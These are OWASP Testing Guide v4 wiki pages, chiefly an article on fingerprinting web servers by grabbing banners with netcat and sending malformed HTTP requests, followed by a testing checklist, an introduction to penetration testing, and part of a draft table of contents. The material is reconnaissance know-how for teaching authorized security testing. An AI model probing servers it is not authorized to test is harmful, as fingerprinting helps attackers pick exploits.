{{Template:OWASP Testing Guide v4}}

== Summary ==
Web server fingerprinting is a critical task for the Penetration tester. Knowing the version and type of a running web server allows testers to determine known vulnerabilities and the appropriate exploits to use during testing.

There are several different vendors and versions of web servers on the market today. Knowing the type of web server that you are testing significantly helps in the testing process, and will also change the course of the test. This information can be derived by sending the web server specific commands and analyzing the output, as each version of web server software may respond differently to these commands. By knowing how each type of web server responds to specific commands and keeping this information in a web server fingerprint database, a penetration tester can send these commands to the web server, analyze the response, and compare it to the database of known signatures. Please note that it usually takes several different commands to accurately identify the web server, as different versions may react similarly to the same command. Rarely, however, different versions react the same to all HTTP commands. So, by sending several different commands, you increase the accuracy of your guess.

== Test Objectives ==
Find the version and type of a running web server to determine known vulnerabilities and the appropriate exploits to use during testing.

== How to Test ==

=== Black Box testing and example ===
The simplest and most basic form of identifying a Web server is to look at the Server field in the HTTP response header. For our experiments we use netcat.
Consider the following HTTP Request-Response:
<pre>
$ nc 202.41.76.251 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Date: Mon, 16 Jun 2003 02:53:29 GMT
Server: Apache/1.3.3 (Unix) (Red Hat/Linux)
Last-Modified: Wed, 07 Oct 1998 11:18:14 GMT
ETag: "1813-49b-361b4df6"
Accept-Ranges: bytes
Content-Length: 1179
Connection: close
Content-Type: text/html
</pre>

From the ''Server'' field, we understand that the server is likely Apache, version 1.3.3, running on Linux operating system.

Four examples of the HTTP response headers are shown below.

From an '''Apache 1.3.23''' server:
<pre>
HTTP/1.1 200 OK
Date: Sun, 15 Jun 2003 17:10: 49 GMT
Server: Apache/1.3.23
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT
ETag: 32417-c4-3e5d8a83
Accept-Ranges: bytes
Content-Length: 196
Connection: close
Content-Type: text/HTML
</pre>

From a '''Microsoft IIS 5.0''' server:
<pre>
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Expires: Yours, 17 Jun 2003 01:41: 33 GMT
Date: Mon, 16 Jun 2003 01:41: 33 GMT
Content-Type: text/HTML
Accept-Ranges: bytes
Last-Modified: Wed, 28 May 2003 15:32: 21 GMT
ETag: b0aac0542e25c31: 89d
Content-Length: 7369
</pre>

From a '''Netscape Enterprise 4.1''' server:
<pre>
HTTP/1.1 200 OK
Server: Netscape-Enterprise/4.1
Date: Mon, 16 Jun 2003 06:19: 04 GMT
Content-type: text/HTML
Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT
Content-length: 57
Accept-ranges: bytes
Connection: close
</pre>

From a '''SunONE 6.1''' server:
<pre>
HTTP/1.1 200 OK
Server: Sun-ONE-Web-Server/6.1
Date: Tue, 16 Jan 2007 14:53:45 GMT
Content-length: 1186
Content-type: text/html
Date: Tue, 16 Jan 2007 14:50:31 GMT
Last-Modified: Wed, 10 Jan 2007 09:58:26 GMT
Accept-Ranges: bytes
Connection: close
</pre>
However, this testing methodology is limited in accuracy. There are several techniques that allow a web site to obfuscate or to modify the server banner string.
For example we could obtain the following answer:
<pre>
403 HTTP/1.1 Forbidden
Date: Mon, 16 Jun 2003 02:41: 27 GMT
Server: Unknown-Webserver/1.0
Connection: close
Content-Type: text/HTML; charset=iso-8859-1
</pre>

In this case, the server field of that response is obfuscated: we cannot know what type of web server is running based on such information.

==== Protocol behaviour ====
More refined techniques take in consideration various characteristics of the several web servers available on the market. We will list some methodologies that allow us to deduce the type of web server in use.

'''HTTP header field ordering'''

The first method consists of observing the ordering of the several headers in the response. Every web server has an inner ordering of the header. We consider the following answers as an example:

Response from '''Apache 1.3.23'''
<pre>
$ nc apache.example.com 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Date: Sun, 15 Jun 2003 17:10: 49 GMT
Server: Apache/1.3.23
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT
ETag: 32417-c4-3e5d8a83
Accept-Ranges: bytes
Content-Length: 196
Connection: close
Content-Type: text/HTML
</pre>
Response from '''IIS 5.0'''
<pre>
$ nc iis.example.com 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Content-Location: http://iis.example.com/Default.htm
Date: Fri, 01 Jan 1999 20:13: 52 GMT
Content-Type: text/HTML
Accept-Ranges: bytes
Last-Modified: Fri, 01 Jan 1999 20:13: 52 GMT
ETag: W/e0d362a4c335be1: ae1
Content-Length: 133
</pre>
Response from '''Netscape Enterprise 4.1'''
<pre>
$ nc netscape.example.com 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Server: Netscape-Enterprise/4.1
Date: Mon, 16 Jun 2003 06:01: 40 GMT
Content-type: text/HTML
Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT
Content-length: 57
Accept-ranges: bytes
Connection: close
</pre>
Response from a '''SunONE 6.1'''
<pre>
$ nc sunone.example.com 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Server: Sun-ONE-Web-Server/6.1
Date: Tue, 16 Jan 2007 15:23:37 GMT
Content-length: 0
Content-type: text/html
Date: Tue, 16 Jan 2007 15:20:26 GMT
Last-Modified: Wed, 10 Jan 2007 09:58:26 GMT
Connection: close
</pre>
We can notice that the ordering of the ''Date'' field and the ''Server'' field differs between Apache, Netscape Enterprise, and IIS.

'''Malformed requests test'''

Another useful test to execute involves sending malformed requests or requests of nonexistent pages to the server.
Consider the following HTTP responses.

Response from '''Apache 1.3.23'''
<pre>
$ nc apache.example.com 80
GET / HTTP/3.0

HTTP/1.1 400 Bad Request
Date: Sun, 15 Jun 2003 17:12: 37 GMT
Server: Apache/1.3.23
Connection: close
Transfer: chunked
Content-Type: text/HTML; charset=iso-8859-1
</pre>
Response from '''IIS 5.0'''
<pre>
$ nc iis.example.com 80
GET / HTTP/3.0

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Content-Location: http://iis.example.com/Default.htm
Date: Fri, 01 Jan 1999 20:14: 02 GMT
Content-Type: text/HTML
Accept-Ranges: bytes
Last-Modified: Fri, 01 Jan 1999 20:14: 02 GMT
ETag: W/e0d362a4c335be1: ae1
Content-Length: 133
</pre>
Response from '''Netscape Enterprise 4.1'''
<pre>
$ nc netscape.example.com 80
GET / HTTP/3.0

HTTP/1.1 505 HTTP Version Not Supported
Server: Netscape-Enterprise/4.1
Date: Mon, 16 Jun 2003 06:04: 04 GMT
Content-length: 140
Content-type: text/HTML
Connection: close
</pre>
Response from a '''SunONE 6.1'''
<pre>
$ nc sunone.example.com 80
GET / HTTP/3.0

HTTP/1.1 400 Bad request
Server: Sun-ONE-Web-Server/6.1
Date: Tue, 16 Jan 2007 15:25:00 GMT
Content-length: 0
Content-type: text/html
Connection: close
</pre>
We notice that every server answers in a different way. The answer also differs in the version of the server. Similar observations can be done we create requests with a non-existent protocol. Consider the following responses:

Response from '''Apache 1.3.23'''
<pre>
$ nc apache.example.com 80
GET / JUNK/1.0

HTTP/1.1 200 OK
Date: Sun, 15 Jun 2003 17:17: 47 GMT
Server: Apache/1.3.23
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT
ETag: 32417-c4-3e5d8a83
Accept-Ranges: bytes
Content-Length: 196
Connection: close
Content-Type: text/HTML
</pre>
Response from '''IIS 5.0'''
<pre>
$ nc iis.example.com 80
GET / JUNK/1.0

HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.0
Date: Fri, 01 Jan 1999 20:14: 34 GMT
Content-Type: text/HTML
Content-Length: 87
</pre>
Response from '''Netscape Enterprise 4.1'''
<pre>
$ nc netscape.example.com 80
GET / JUNK/1.0

<HTML><HEAD><TITLE>Bad request</TITLE></HEAD>
<BODY><H1>Bad request</H1>
Your browser sent to query this server could not understand.
</BODY></HTML>
</pre>
Response from a '''SunONE 6.1'''
<pre>
$ nc sunone.example.com 80
GET / JUNK/1.0

<HTML><HEAD><TITLE>Bad request</TITLE></HEAD>
<BODY><H1>Bad request</H1>
Your browser sent a query this server could not understand.
</BODY></HTML>
</pre>

== Tools ==
* httprint - http://net-square.com/httprint.html
* httprecon - http://www.computec.ch/projekte/httprecon/
* Netcraft - http://www.netcraft.com
* Desenmascarame - http://desenmascara.me

=== Automated Testing ===
Rather than rely on manual banner grabbing and analysis of the web server headers, a tester can use automated tools to achieve the same results. The tests to carryout in order to accurately fingerprint a web server can be many. Luckily, there are tools that automate these tests. "''httprint''" is one of such tools. httprint uses a signature dictionary that allows it to recognize the type and the version of the web server in use. 
An example of running httprint is shown below: 

[[Image:httprint.jpg]]

=== Online Testing ===
Online tools can be used if the tester wishes to test more stealthily and doesn't wish to directly connect to the target website. An example of an online tool that often delivers a lot of information about target Web Servers, is [http://www.netcraft.com Netcraft]. With this tool we can retrieve information about operating system, web server used, Server Uptime, Netblock Owner, history of change related to Web server and O.S. 
An example is shown below:
 

[[Image:netcraft2.png]]

[[OWASP Unmaskme Project]] is expected to become another online tool to do fingerprinting of any website with an overall interpretation of all the [[Web-metadata]] extracted. The idea behind this project is that anyone in charge of a website could test the metadata their site is showing to the world and assess it from a security point of view.

While this project is still being developed, you can test a [http://desenmascara.me/ Spanish Proof of Concept of this idea].

== Vulnerability References ==
'''Whitepapers''' 
* Saumil Shah: "An Introduction to HTTP fingerprinting" - http://www.net-square.com/httprint_paper.html
* Anant Shrivastava : "Web Application Finger Printing" - http://anantshri.info/articles/web_app_finger_printing.html

== Remediation ==

Protect the presentation layer web server behind a hardened reverse proxy.

Obfuscate the presentation layer web server headers.
* Apache
* IIS

Testing Checklist

2014-03-04T17:41:53Z

Davide Danelon:

{{Template:OWASP Testing Guide v4}}

The following is the list of controls to test during the assessment:

{| {{table}}
| align="center" style="background:#f0f0f0;"|'''Ref. No.'''
| align="center" style="background:#f0f0f0;"|'''Category'''
| align="center" style="background:#f0f0f0;"|'''Test Name'''
|-
| ||||
|-
| 4.2||||'''Information Gathering'''
|-
| 4.2.1||OTG-INFO-001||Conduct Search Engine Discovery and Reconnaissance for Information Leakage
|-
| 4.2.2||OTG-INFO-002||Fingerprint Web Server
|-
| 4.2.3||OTG-INFO-003||Review Webserver Metafiles for Information Leakage
|-
| 4.2.4||OTG-INFO-004||Enumerate Applications on Webserver
|-
| 4.2.5||OTG-INFO-005||Review Webpage Comments and Metadata for Information Leakage
|-
| 4.2.6||OTG-INFO-006||Identify application entry points
|-
| 4.2.7||OTG-INFO-008||Map execution paths through application
|-
| 4.2.8||OTG-INFO-009||Fingerprint Web Application Framework
|-
| 4.2.9||OTG-INFO-010||Fingerprint Web Application
|-
| 4.2.10||OTG-INFO-011||Map Network and Application Architecture
|-
| ||||
|-
| 4.3||||'''Configuration and Deploy Management Testing'''
|-
| 4.3.1||OTG-CONFIG-001||Test Network/Infrastructure Configuration
|-
| 4.3.2||OTG-CONFIG-002 ||Test Application Platform Configuration
|-
| 4.3.3||OTG-CONFIG-003||Test File Extensions Handling for Sensitive Information
|-
| 4.3.4||OTG-CONFIG-004|| Backup and Unreferenced Files for Sensitive Information
|-
| 4.3.5||OTG-CONFIG-005||Enumerate Infrastructure and Application Admin Interfaces
|-
| 4.3.6||OTG-CONFIG-006||Test HTTP Methods
|-
| 4.3.7||OTG-CONFIG-009||Test HTTP Strict Transport Security
|-
| 4.3.8||OTG-CONFIG-011||Test RIA cross domain policy
|-
| ||||
|-
| 4.4||||'''Identity Management Testing'''
|-
| 4.4.1||OTG-IDENT-001||Test Role Definitions
|-
| 4.4.2||OTG-IDENT-002||Test User Registration Process
|-
| 4.4.3||OTG-IDENT-003||Test Account Provisioning Process
|-
| 4.4.4||OTG-IDENT-004||Testing for Account Enumeration and Guessable User Account
|-
| 4.4.5||OTG-IDENT-005||Testing for Weak or unenforced username policy
|-
| 4.4.6||OTG-IDENT-006||Test Permissions of Guest/Training Accounts
|-
| 4.4.7||OTG-IDENT-007||Test Account Suspension/Resumption Process
|-
| ||||
|-
| 4.5||||'''Authentication Testing'''
|-
| 4.5.1||OTG-AUTHN-001||Testing for Credentials Transported over an Encrypted Channel
|-
| 4.5.2||OTG-AUTHN-002||Testing for default credentials
|-
| 4.5.3||OTG-AUTHN-003||Testing for Weak lock out mechanism
|-
| 4.5.4||OTG-AUTHN-004||Testing for bypassing authentication schema
|-
| 4.5.5||OTG-AUTHN-005||Test remember password functionality
|-
| 4.5.6||OTG-AUTHN-006||Testing for Browser cache weakness
|-
| 4.5.7||OTG-AUTHN-007||Testing for Weak password policy
|-
| 4.5.8||OTG-AUTHN-008||Testing for Weak security question/answer
|-
| 4.5.9||OTG-AUTHN-009||Testing for weak password change or reset functionalities
|-
| 4.5.10||OTG-AUTHN-010||Testing for Weaker authentication in alternative channel
|-
| ||||
|-
| 4.6||||'''Authorization Testing'''
|-
| 4.6.1||OTG-AUTHZ-002||Testing Directory traversal/file include
|-
| 4.6.2||OTG-AUTHZ-003||Testing for bypassing authorization schema
|-
| 4.6.3||OTG-AUTHZ-004||Testing for Privilege Escalation
|-
| 4.6.4||OTG-AUTHZ-005||Testing for Insecure Direct Object References
|-
| ||||
|-
| 4.7||||'''Session Management Testing'''
|-
| 4.7.1||OTG-SESS-001 ||Testing for Bypassing Session Management Schema
|-
| 4.7.2||OTG-SESS-002||Testing for Cookies attributes
|-
| 4.7.3||OTG-SESS-003||Testing for Session Fixation
|-
| 4.7.4||OTG-SESS-004||Testing for Exposed Session Variables
|-
| 4.7.5||OTG-SESS-005||Testing for Cross Site Request Forgery
|-
| 4.7.6||OTG-SESS-007 ||Testing for logout functionality
|-
| 4.7.7||OTG-SESS-008||Test Session Timeout
|-
| 4.7.8||OTG-SESS-010||Testing for Session puzzling
|-
| ||||
|-
| 4.8||||'''Data Validation Testing'''
|-
| 4.8.1||OTG-INPVAL-001||Testing for Reflected Cross Site Scripting
|-
| 4.8.2||OTG-INPVAL-002||Testing for Stored Cross Site Scripting
|-
| 4.8.3||OTG-INPVAL-003 ||Testing for HTTP Verb Tampering
|-
| 4.8.4||OTG-INPVAL-004||Testing for HTTP Parameter pollution
|-
| 4.8.5||OTG-INPVAL-006||Testing for SQL Injection
|-
| 4.8.5.1||||Oracle Testing
|-
| 4.8.5.2||||MySQL Testing
|-
| 4.8.5.3||||SQL Server Testing
|-
| 4.8.5.4||||Testing PostgreSQL
|-
| 4.8.5.5||||MS Access Testing
|-
| 4.8.5.6||||Testing for NoSQL injection
|-
| 4.8.6||OTG-INPVAL-007||Testing for LDAP Injection
|-
| 4.8.7||OTG-INPVAL-008||Testing for ORM Injection
|-
| 4.8.8||OTG-INPVAL-009||Testing for XML Injection
|-
| 4.8.9||OTG-INPVAL-010||Testing for SSI Injection
|-
| 4.8.10||OTG-INPVAL-011||Testing for XPath Injection
|-
| 4.8.11||OTG-INPVAL-012||IMAP/SMTP Injection
|-
| 4.8.12||OTG-INPVAL-013||Testing for Code Injection
|-
| 4.8.12.1||||Testing for Local File Inclusion
|-
| 4.8.12.2||||Testing for Remote File Inclusion
|-
| 4.8.13||OTG-INPVAL-014||Testing for Command Injection
|-
| 4.8.14||OTG-INPVAL-015||Testing for Buffer overflow
|-
| 4.8.14.1||||Testing for Heap overflow
|-
| 4.8.14.2||||Testing for Stack overflow
|-
| 4.8.14.3||||Testing for Format string
|-
| 4.8.15||OTG-INPVAL-016||Testing for incubated vulnerabilities
|-
| 4.8.16||OTG-INPVAL-017||Testing for HTTP Splitting/Smuggling
|-
| ||||
|-
| 4.9||||'''Error Handling'''
|-
| 4.9.1||OTG-ERR-001||Analysis of Error Codes
|-
| 4.9.2||OTG-ERR-002||Analysis of Stack Traces
|-
| ||||
|-
| 4.1||||'''Cryptography'''
|-
| 4.10.1||OTG-CRYPST-001||Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection
|-
| 4.10.2||OTG-CRYPST-003||Testing for Padding Oracle
|-
| 4.10.3||OTG-CRYPST-007||Testing for Sensitive information sent via unencrypted channels
|-
| ||||
|-
| 4.11||||'''Logging'''
|-
| 4.11.1||OTG-LOG-001||Test time synchronisation
|-
| 4.11.2||OTG-LOG-002||Test user-viewable log of authentication events
|-
| ||||
|-
| 4.12||OWASP-BL-001||'''Business Logic Testing'''
|-
| 4.12.1||OTG-BUSLOGIC-001||Test Business Logic Data Validation
|-
| 4.12.2||OTG-BUSLOGIC-002||Test Ability to Forge Requests
|-
| 4.12.3||OTG-BUSLOGIC-003||Test Integrity Checks
|-
| 4.12.4||OTG-BUSLOGIC-004||Test for Process Timing
|-
| 4.12.5||OTG-BUSLOGIC-005||Test Number of Times a Function Can be Used Limits
|-
| 4.12.6||OTG-BUSLOGIC-006||Testing for the Circumvention of Work Flows
|-
| 4.12.7||OTG-BUSLOGIC-007||Test Defenses Against Application Mis-use
|-
| 4.12.8||OTG-BUSLOGIC-008||Test Upload of Unexpected File Types
|-
| 4.12.9||OTG-BUSLOGIC-009||Test Upload of Malicious Files
|-
| ||||
|-
| 4.15||||'''Client Side Testing'''
|-
| 4.15.1||OTG-CLIENT-001||Testing for DOM based Cross Site Scripting
|-
| 4.15.2||OWASP-CS-002||Testing for JavaScript Execution
|-
| 4.15.3||OWASP-CS-003||Testing for HTML Injection
|-
| 4.15.4||OWASP-CS-004 ||Testing for Client Side URL Redirect
|-
| 4.15.5||OWASP-CS-005||Testing for CSS Injection
|-
| 4.15.6||OWASP-CS-006||Testing for Client Side Resource Manipulation
|-
| 4.15.7||OTG-CLIENT-007||Test Cross Origin Resource Sharing
|-
| 4.15.8||OTG-CLIENT-008||Testing for Cross Site Flashing
|-
| 4.15.9||OTG-CLIENT-009||Testing for Clickjacking
|-
| 4.15.10||OTG-CLIENT-010||Testing WebSockets
|-
| 4.15.11||OTG-CLIENT-011||Test Web Messaging
|-
| 4.15.12||OTG-CLIENT-012||Test Local Storage
|-
|
|}

Testing: Introduction and objectives

2014-03-04T16:51:54Z

Davide Danelon:

{{Template:OWASP Testing Guide v4}}

This Chapter describes the OWASP Web Application Penetration testing methodology and explains how to test each vulnerability.

'''What is Web Application Penetration Testing?''' 
A penetration test is a method of evaluating the security of a computer system or network by simulating an attack. A Web Application Penetration Test focuses only on evaluating the security of a web application. 
The process involves an active analysis of the application for any weaknesses, technical flaws, or vulnerabilities. Any security issues that are found will be presented to the system owner together with an assessment of their impact and often with a proposal for mitigation or a technical solution.

'''What is a vulnerability?''' 

A vulnerability is a flaw or weakness in a system's design, implementation, or operation and management that could be exploited to violate the system's security policy.
A threat is a potential attack that, by exploiting a vulnerability, may harm the assets owned by an application (resources of value, such as the data in a database or in the file system).
A test is an action that tends to show a vulnerability in the application.

'''Our approach in writing this guide'''

The OWASP approach is Open and Collaborative:
* Open: every security expert can participate with his or her experience in the project. Everything is free.
* Collaborative: we usually perform brainstorming before the articles are written so we can share our ideas and develop a collective vision of the project. That means rough consensus, wider audience and participation. 
This approach tends to create a defined Testing Methodology that will be:
* Consistent
* Reproducible
* Under quality control 
The problems that we want to be addressed are:
* Document all
* Test all
We think it is important to use a method to test all known vulnerabilities and document all the pen test activities. 

'''What is the OWASP testing methodology?''' 

Penetration testing will never be an exact science where a complete list of all possible issues that should be tested can be defined. Indeed, penetration testing is only an appropriate technique for testing the security of web applications under certain circumstances.
The goal is to collect all the possible testing techniques, explain them, and keep the guide updated. 
The OWASP Web Application Penetration Testing method is based on the black box approach. The tester knows nothing or very little information about the application to be tested.
The testing model consists of:
* Tester: Who performs the testing activities
* Tools and methodology: The core of this Testing Guide project
* Application: The black box to test
The test is divided into 2 phases:
* Passive mode: in the passive mode, the tester tries to understand the application's logic, and plays with the application. Tools can be used for information gathering, for example, an HTTP proxy to observe all the HTTP requests and responses. At the end of this phase, the tester should understand all the access points (''gates'') of the application (e.g., HTTP headers, parameters, and cookies). The Information Gathering section explains how to perform a passive mode test. For example, the tester could find the following:
<pre>
https://www.example.com/login/Authentic_Form.html
</pre>
This may indicate an authentication form in which the application requests a username and a password. 
The following parameters represent two access points (gates) to the application:
<pre>
http://www.example.com/Appx.jsp?a=1&b=1
</pre>
In this case, the application shows two gates (parameters a and b).
All the gates found in this phase represent a point of testing. A spreadsheet with the directory tree of the application and all the access points would be useful for the second phase. 
* Active mode: in this phase, the tester begins to test using the methodology described in the follow paragraphs.

We have split the set of active tests in 12 sub-categories for a total of 91 controls:
* Information Gathering
* Configuration and Deploy Management Testing
* Identity Management Testing
* Authentication Testing
* Authorization Testing
* Session Management Testing
* Data Validation Testing
* Error Handling
* Cryptography
* Logging
* Business Logic Testing
* Client Side Testing

OWASP Testing Guide v4 Table of Contents

2014-03-04T14:05:06Z

Davide Danelon:

{{OWASP Breakers}}
__NOTOC__

'''This is the DRAFT of the table of content of the New Testing Guide v4.''' 
 You can download the stable version v3 [http://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf here] 

Back to the OWASP Testing Guide Project:
http://www.owasp.org/index.php/OWASP_Testing_Project

'''Updated: 16th December 2013'''

[[ OWTGv4 Contributors list|'''Contributors List]]

----

The following is a DRAFT of the Toc based on the feedback already received.

== Table of Contents ==

==[[Testing Guide Foreword|Foreword by Eoin Keary]]==
[To review--> Eoin Keary -> Done!!]

==[[Testing Guide Frontispiece |1. Frontispiece]]==
[To review--> Mat]

'''[[Testing Guide Frontispiece|1.1 About the OWASP Testing Guide Project]]'''
[To review--> Mat]

'''[[About The Open Web Application Security Project|1.2 About The Open Web Application Security Project]]'''
[To review--> ]

==[[Testing Guide Introduction|2. Introduction]]==

'''2.1 The OWASP Testing Project'''

'''2.2 Principles of Testing'''

'''2.3 Testing Techniques Explained'''

2.4 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Requirements_Test_Derivation Security requirements test derivation],[https://www.owasp.org/index.php/Testing_Guide_Introduction#Functional_and_Non_Functional_Test_Requirements functional and non functional test requirements], and [https://www.owasp.org/index.php/Testing_Guide_Introduction#Test_Cases_Through_Use_and_Misuse_Cases test cases through use and misuse cases]

2.5 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Test_Data_Analysis_and_Reporting Security test data analysis and reporting: root cause identification and business/role case test data reporting]

==[[The OWASP Testing Framework|3. The OWASP Testing Framework]]==

'''3.1. Overview'''

'''3.2. Phase 1: Before Development Begins '''

'''3.3. Phase 2: During Definition and Design'''

'''3.4. Phase 3: During Development'''

'''3.5. Phase 4: During Deployment'''

'''3.6. Phase 5: Maintenance and Operations'''

'''3.7. A Typical SDLC Testing Workflow '''

==[[Web Application Penetration Testing |4. Web Application Penetration Testing ]]==

[[Testing: Introduction and objectives|'''4.1 Introduction and Objectives''']] [To review--> Mat]

[[Testing Checklist| 4.1.1 Testing Checklist]] [To review at the end of brainstorming --> Mat]

[[Testing Information Gathering|'''4.2 Information Gathering ''']]

[[Testing: Search engine discovery/reconnaissance (OWASP-IG-002)|4.2.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001) ]] formerly "Search Engine Discovery/Reconnaissance (OWASP-IG-002)"

[[Fingerprint Web Server (OTG-INFO-002)|4.2.2 Fingerprint Web Server (OTG-INFO-002) ]] formerly "Testing for Web Application Fingerprint (OWASP-IG-004)"

[[Testing: Spiders, Robots, and Crawlers (OWASP-IG-001)|4.2.3 Review Webserver Metafiles for Information Leakage (OTG-INFO-003) ]] formerly "Spiders, Robots and Crawlers (OWASP-IG-001)"

[[Testing for Application Discovery (OWASP-IG-005)|4.2.4 Enumerate Applications on Webserver (OTG-INFO-004) ]] formerly "Application Discovery (OWASP-IG-005)"

[[Testing Review webpage comments and metadata(OWASP-IG-007)|4.2.5 Review Webpage Comments and Metadata for Information Leakage (OTG-INFO-005) ]] formerly "Review webpage comments and metadata(OWASP-IG-007)"

[[Testing: Identify application entry points (OWASP-IG-003)|4.2.6 Identify application entry points (OTG-INFO-006) ]] formerly "Identify application entry points (OWASP-IG-003)"

[[Testing Map execution paths through application (OWASP-IG-009)|4.2.7 Map execution paths through application (OTG-INFO-008)]] formerly "Map execution paths through application (OWASP-IG-009)"

[[Fingerprint Web Application Framework (OTG-INFO-009)|4.2.8 Fingerprint Web Application Framework (OTG-INFO-009) ]] formerly "Testing for Web Application Fingerprint (OWASP-IG-010)" '''Ready to be reviewed'''

[[Testing for Web Application (OTG-INFO-011)|4.2.9 Fingerprint Web Application (OTG-INFO-010) ]] formerly "Testing for Web Application Fingerprint (OWASP-IG-010)" [Amro AlOlaqi] '''Ready to be reviewed'''

[[Map Network and Application Architecture (OTG-INFO-012)|4.2.10 Map Network and Application Architecture (OTG-INFO-011) ]] formerly "Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)" [Amro AlOlaqi] '''Ready to be reviewed'''

[[Testing for configuration management|'''4.3 Configuration and Deploy Management Testing ''']]

[[Testing for infrastructure configuration management (OWASP-CM-003)|4.3.1 Test Network/Infrastructure Configuration (OTG-CONFIG-001) ]] formerly "Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)"

[[Testing for application configuration management (OWASP-CM-004)|4.3.2 Test Application Platform Configuration (OTG-CONFIG-002) ]] formerly "Testing for Application Configuration Management weakness (OWASP-CM-002)" [Amro AlOlaqi] '''Ready to be reviewed'''

[[Testing for file extensions handling (OWASP-CM-005)|4.3.3 Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003) ]] formerly "Testing for File Extensions Handling (OWASP-CM-003)"

[[Testing for Old, Backup and Unreferenced Files (OWASP-CM-006)|4.3.4 Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004) ]] formerly "Old, Backup and Unreferenced Files (OWASP-CM-004)"

[[Testing for Admin Interfaces (OWASP-CM-007)|4.3.5 Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005) ]] formerly "Infrastructure and Application Admin Interfaces (OWASP-CM-005)" [Amro AlOlaqi] '''Ready to be reviewed'''

[[Testing for HTTP Methods and XST (OWASP-CM-008)|4.3.6 Test HTTP Methods (OTG-CONFIG-006) ]] formerly "Testing for Bad HTTP Methods (OWASP-CM-006)"

[[Testing for Missing HSTS header|4.3.7 Test HTTP Strict Transport Security (OTG-CONFIG-009) ]] formerly "Testing for Missing HSTS header (OWASP-CM-009)"

[[Testing for RIA policy files weakness|4.3.8 Test RIA cross domain policy (OTG-CONFIG-011) ]] formerly "Testing for RIA policy files weakness (OWASP-CM-010)"

[[Testing Identity Management|'''4.4 Identity Management Testing''']]

[[Test Role Definitions (OTG-IDENT-001)|4.4.1 Test Role Definitions (OTG-IDENT-001)]] New

[[Test User Registration Process (OTG-IDENT-002)|4.4.2 Test User Registration Process (OTG-IDENT-002)]] New

[[Test Account Provisioning Process (OTG-IDENT-003)|4.4.3 Test Account Provisioning Process (OTG-IDENT-003)]] New

[[Testing for Account Enumeration and Guessable User Account (OWASP-AT-002)|4.4.4 Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004) ]] formerly "Testing for Account Enumeration and Guessable User Account (OWASP-AT-002)"

[[Testing for Weak or unenforced username policy (OWASP-AT-009)| 4.4.5 Testing for Weak or unenforced username policy (OTG-IDENT-005)]] formerly "Testing for Weak or unenforced username policy (OWASP-AT-009)

[[Test Permissions of Guest/Training Accounts (OTG-IDENT-006)|4.4.6 Test Permissions of Guest/Training Accounts (OTG-IDENT-006)]] New

[[Test Account Suspension/Resumption Process (OTG-IDENT-007)|4.4.7 Test Account Suspension/Resumption Process (OTG-IDENT-007)]] New

[[Testing for authentication|'''4.5 Authentication Testing ''']]

[[Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)|4.5.1 Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]] formerly "Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)"

[[Testing for default credentials (OWASP-AT-003)|4.5.2 Testing for default credentials (OTG-AUTHN-002)]] formerly "Testing for default credentials (OWASP-AT-003)"

[[Testing for Weak lock out mechanism (OWASP-AT-004)|4.5.3 Testing for Weak lock out mechanism (OTG-AUTHN-003)]] formerly "Testing for Weak lock out mechanism (OWASP-AT-004)"

[[Testing for Bypassing Authentication Schema (OWASP-AT-005)|4.5.4 Testing for bypassing authentication schema (OTG-AUTHN-004)]] formerly "Testing for bypassing authentication schema (OWASP-AT-005)"

[[Testing for Vulnerable Remember Password (OWASP-AT-006)|4.5.5 Test remember password functionality (OTG-AUTHN-005)]] formerly "Testing for vulnerable remember password functionality (OWASP-AT-006)"

[[Testing for Browser cache weakness (OWASP-AT-007)|4.5.6 Testing for Browser cache weakness (OTG-AUTHN-006)]] formerly "Testing for Browser cache weakness (OWASP-AT-007)"

[[Testing for Weak password policy (OWASP-AT-008)|4.5.7 Testing for Weak password policy (OTG-AUTHN-007)]] formerly "Testing for Weak password policy (OWASP-AT-008)"

[[Testing for Weak security question/answer (OTG-AUTHN-008)|4.5.8 Testing for Weak security question/answer (OTG-AUTHN-008)]] New! - Robert Winkel

[[Testing for weak password change or reset functionalities (OWASP-AT-011)|4.5.9 Testing for weak password change or reset functionalities (OTG-AUTHN-009)]] formerly "Testing for weak password change or reset functionalities (OWASP-AT-011)"

[[Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)|4.5.10 Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]] (e.g. mobile app, IVR, help desk)

[[Testing for Authorization|'''4.6 Authorization Testing''']]

[[Testing for Path Traversal (OWASP-AZ-001)|4.6.1 Testing Directory traversal/file include (OTG-AUTHZ-002)]] formerly "Testing Directory traversal/file include (OWASP-AZ-001)"

[[Testing for Bypassing Authorization Schema (OWASP-AZ-002)|4.6.2 Testing for bypassing authorization schema (OTG-AUTHZ-003)]] formerly "Testing for bypassing authorization schema (OWASP-AZ-002)"

[[Testing for Privilege escalation (OWASP-AZ-003)|4.6.3 Testing for Privilege Escalation (OTG-AUTHZ-004)]] formerly "Testing for Privilege Escalation (OWASP-AZ-003)"

